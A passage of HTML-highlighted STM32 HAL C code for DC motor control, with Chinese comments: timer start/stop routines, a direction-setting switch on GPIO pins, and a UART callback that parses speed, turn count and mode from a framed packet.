class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start Encoder tim 开启解码器时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Encoder_Start\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_ALL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start Time Control tim 开启定时控制的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Base_Start_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Start the pwm tim 开启pwm输出的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PWM_Start\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重置各种参数。 防止下次启动时有上次残留的值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop Encoder tim 关闭解码器时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Encoder_Stop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_ALL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop Time Control tim 关闭定时控制的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Base_Stop_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop the pwm tim 关闭pwm输出的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PWM_Stop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这个函数用来设定电机 正转/反转/不转/刹车\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里需要对照你的接线来设定,BIN1和BIN2对应的不同状态状态可以在驱动的说明中找到\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 同时也要对应好 屏幕设定的 复选框 发送的0/1对应的正反转\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e 1 foreward\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e 0 reversal\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e -1 stop\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e -2 brake\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_RxCpltCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUART_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这是HAL库提供的UART接收完成回调函数,当UART接收完成时,该函数会被自动调用。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 判断是哪个UART触发了回调,这里使用了单个UART1,可以根据实际情况进行扩展。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清除空闲中断标志位,UART通信中,空闲中断通常用于检测接收结束。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_CLEAR_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_CLEAR_IDLEF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 禁用UART发送中断,以防止在处理接收数据时发送数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_DISABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 检查接收到的数据是否符合预期的协议,如果传输中出错了,就直接跳过不执行,根据协议格式解析数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// -1 -2 -3\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFF\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFE\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFD\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 从接收到的数据中提取速度、圈数和模式信息。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003espeed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 检查速度和圈数是否都不为零,才需要转动。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003espeed\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 如果目标速度和位置都为零,则说明当前没有进行任何动作,可以开始新的动作。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 